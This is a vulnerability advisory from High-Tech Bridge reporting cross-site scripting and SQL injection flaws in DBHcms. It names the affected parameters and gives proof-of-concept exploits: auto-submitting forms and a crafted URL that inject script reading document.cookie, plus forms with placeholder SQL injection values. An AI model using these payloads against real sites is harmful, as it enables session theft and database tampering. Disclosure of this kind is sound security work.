Multiple Vulnerabilities in DBHcms

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DBHcms which could be exploited to perform cross-site scripting and SQL injection attacks.

1) Cross-site scripting (XSS) vulnerabilities in DBHcms
1.1 The vulnerability exists due to input sanitation error in the "searchString" parameter in dbhcms/ext/search/ext.search.fe.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://example.com/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang= en" method="post" name="main" >
<input type="hidden" name="dbhcmsCache" value="CT_OFF" />
<input type="hidden" name="todo" value="searchExecute" />
<input type="hidden" name="searchString" value='search"><script>alert(document.cookie)</script>' />
<input type="hidden" name="submitbtn" value=" Search " />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "edituser" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
http://example.com/index.php?dbhcms_pid=-71&edituser=2'"><script>alert(docum ent.cookie)</script>

2) SQL injection vulnerabilities in DBHcms
2.1 The vulnerability exists due to input sanitation errors in the "dbhcms_user" parameter in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="dbhcms_user" value="'SQL CODE HERE" />
<input type="hidden" name="dbhcms_passwd" value="password" />
<input type="submit" value="Login" name="submit" />
</form>
2.2 The vulnerability exists due to input sanitation errors in the "searchString" parameter in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://host/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang=en" method="post" name="search" />
<input name="dbhcmsCache" value="CT_OFF" type="hidden" />
<input name="todo" value="searchExecute" type="hidden" />
<input name="searchString" value="'SQL CODE HERE" type="hidden" />
<input type="submit" value="Search" name="submit" />
</form>